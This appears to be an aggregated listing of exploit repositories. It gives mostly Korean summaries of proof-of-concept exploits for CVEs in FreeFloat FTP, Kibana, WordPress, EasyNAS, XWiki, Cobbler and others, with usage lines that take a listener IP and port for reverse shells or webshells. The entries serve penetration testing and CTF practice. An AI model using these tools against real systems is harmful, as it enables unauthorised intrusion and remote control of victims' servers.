CVE-2025-5548

🚀 CVE-2025-5548 - FreeFloat FTP Server 1.0 익스플로잇 전문적인 취약점 분석 및 완전한 원격 버퍼 오버플로우 익스플로잇 🎯 프로젝트 하이라이트 완전한 실제 사례 연구 : CVE-2025-5548 NOOP 명령을 통한 FreeFloat FTP Server 1.0의 원격 스택 기반 버퍼 오버플로우 수동 도구 설치 + 자동화 스크립트 Windows & Linux Windows 11 VM에서의 완전히 문서화된 실습 환경 단계별 익스플로잇 : 퍼징 → 오프셋 → 배드 캐릭터 → JMP ESP → 작동하는...

CVE-2019-7609

CVE-2019-7609 Python 13과 함께 동작하는 새로운 CVE-2019-7609 python3 스크립트로 올바른 방법으로 취약점 CVE-2019-7609Kibana RCE를 익스플로잇합니다. 참조: https://github.com/LandGrey/CVE-2019-7609 스냅샷 사용법 usage: python3 CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shell optional arguments: -h, --help show...

CVE-2024-27956

🚨PoC 공개🚨Wordpress에서 SQL 인젝션이 RCE로 이어지는 PoC 공개 CVE-2024-27956. WordPress 관리자 계정 생성 및 리버스 셸 cve-2024-27956 사용법- sudo python3 cve.py...

CVE-2023-0830

CVE-2023-0830: EasyNAS 1.1.0 인증된 OS 명령 삽입 익스플로잇 이 Python 스크립트는 통합 리스너를 포함한 향상된 기능을 갖춘 EasyNAS 버전 1.1.0을 위한 강력한 익스플로잇입니다. 악용되는 취약점은 인증이 필요한 명령 삽입 취약점입니다. 스크립트는 대상 서버와 세션을 설정한 후 사용자가 제공한 자격 증명으로 로그인 요청을 보냅니다. 인증에 성공하면 스크립트는 실행 시 사용자가 지정한 IP와 포트로 리버스 셸 연결을 여는 페이로드를 구성합니다. 이 페이로드는 URL 및 Base64 인코딩된 후...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect 인증되지 않은 RCE 요구 사항 Python 3.11 이상 3.11, 3.12, 3.13에서 테스트됨 설정 Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt 사용법 Check version only python3 CVE-2023-43208.py -u...

CVE-2024-40453

CVE-2024-40453 - Squirrelly v9.0.0 RCE Disclaimer: This script is for educational use only. Do not use it for illegal purposes. If you do, it’s entirely your responsibility; I am not liable for any misuse. Description This script creates a reverse shell called payload.sh in the current directory...

POC-IngressNightmare-CVE-2025-1974

Shell.so Builder Alpine-based This project allows you to build a shell.so payload using Alpine Linux inside a Docker container. Instructions 1. Clone the repository : git clone cd 2. Build the payload : ./runbuild.sh The compiled shell.so will be generated in the project root directory. ⚠️...

CVE-2025-6002

CVE-2025-6002 익스플로잇 이 스크립트는 VirtueMart 4.4.10 CVE-2025-6002에서 발견된 인증된 임의 파일 업로드 취약점을 악용합니다. 해당 취약점은 이 블로그 게시물에 설명되어 있습니다: https://blog.blacklanternsecurity.com/p/doomla-zero-days 이 스크립트는 제공된 자격 증명으로 VirtueMart에 로그인하고, 새 제품을 생성한 후 미디어 파일로 PHP 웹쉘을 업로드합니다. 그런 다음 제공된 IP/포트로 리버스 셸을 실행합니다. 매개변수: --url:...

CVE-2007-2447

CVE-2007-2447 To test the script I recommend you the virtual machine "metasploitable 2" available here. The script will display a reverse shell if the exploit works. To get the connection, just open a netcat session like : netcat -lnvp Table of contents Exemples Requirements Payloads Examples py...

cgi-bin-shellshock

사용 방법 저장소 복제 또는 원하는 파일을 복사하여 붙여넣기 sudo git clone https://github.com/Gurguii/shellshock.sh 스크립트 실행 Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp 참고: 기본 LPORT는 4444이며, URL은 필수입니다. URL만 제공되면 RCE를 수행하고, 그렇지 않으면 제공된 lhost 및 lport로 RSHELL을 수행합니다...

CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - XWiki Remote Code Execution Exploit PoC for CVE-2025-24893 – XWiki Macro Remote Code Execution Inspired by Artemir's original PoC Description This is a Proof-of-Concept PoC exploit for CVE-2025-24893 , a Remote Code Execution RCE vulnerability in vulnerable versions of XWiki. The...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 인증된 RCE 이 저장소는 CVE-2021-43857 에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이는 Gerapy -p -L -P 요구 사항 1. Python 3.x 2. requests 및 pyfiglet pip install requests pyfiglet 3. Netcat nc...

PoC-Deployer-System

PoC-Deployer-System !License: MIThttps://img.shields.io/b...

CVE-2024-47533-PoC

CVE-2024-47533 – Cobbler XMLRPC Authentication Bypass → Reverse Shell Unauthenticated RCE 📌 Summary This repository contains a Proof-of-Concept PoC exploit for CVE-2024-47533 , a critical authentication bypass in Cobbler's XMLRPC API that leads to unauthenticated remote code execution RCE. The...

CVE-2024-29510

원본 연구 및 POC 코드: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ 참고: 실행된 명령 외에는 POC를 변경하지 않았습니다. 모든 공로는 놀라운 연구와 POC를 제공한 Codean Labs의 Thomas Rinsma에게 있습니다. 로컬 시나리오 1. 스테이저 스크립트로 래핑되어 호스트 취약 여부를 확인하는 체크 스크립트를 다운로드 및 실행 2. POC가 Python3 리버스 셸을 다운로드 및 실행하도록...

CVE-2015-8351

gwollebuster 이 스크립트는 WordPress의 오래된 플러그인 gwolle용 익스플로잇입니다. 사용법: ./gwollebuster.py 첫 번째 인수 = gwolle가 설치된 WordPress 대상 URL 두 번째 인수 = 사용자의 IP 세 번째 인수 = 리버스 셸용 리스닝 포트 예시: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234 이 스크립트는 PHP 리버스 셸 스크립트를 생성하고 간단한 서버를 바인딩합니다. 따라서 새 터미널 2개를 열어 첫 번째 터미널에서...

CVE-2023-46818

CVE-2023-46818 PoC 이것은 Egidio Romano aka EgiX가 제공한 PoC의 Python 구현입니다 여기. 이 익스플로잇은 웹쉘을 프롬프트하며, 완전한 인터랙티브 셸을 얻으려면 명령을 실행하고 자신에게 리버스 셸을 보내십시오. 사용법 python exploit.py http://localhost username password 면책 조항 이 PoC의 저자는 누구의 행동에도 책임을 지지 않습니다. 이 익스플로잇을 CTF나 데모에서만 사용하십시오. -Vulner 일명 Abumalik...

CVE-2022-0944_RCE_POC

CVE-2022-0944 Proof of concept exploit for SQLPad RCE CVE-2022-0944 leading to a RCE with a revershell to the attackers PC. Usage usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell Example: trigger...

RemoteMouse-3.008-RCE

CVE-2021-35448 - 원격 마우스 익스플로잇 설명 이 익스플로잇은 Remote Mouse 애플리케이션이전 명칭 WiFi Mouse의 CVE-2021-35448 취약점을 대상으로 합니다. POC CVE-2021-35448.webm 사용법 기본 구문 python3 CVE-2021-35448.py -t OPTIONS 옵션 -t, --target: 대상 IP 주소 필수 -p, --payload: 실행할 사용자 정의 명령어 -r, --reverse: IP:PORT 형식의 리버스 셸 -l, --http: IP:PORT 형식의 로...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics 1.7.3 - Remote Code Execution Exploit v2 Working exploit for Open Web Analytics 1.7.3 - RCE enhenced with pentestmonkey's php reverse shell, Fixed issue of not able to find user in cache. Original soruce exploit can be found on here Usage Add your attacker...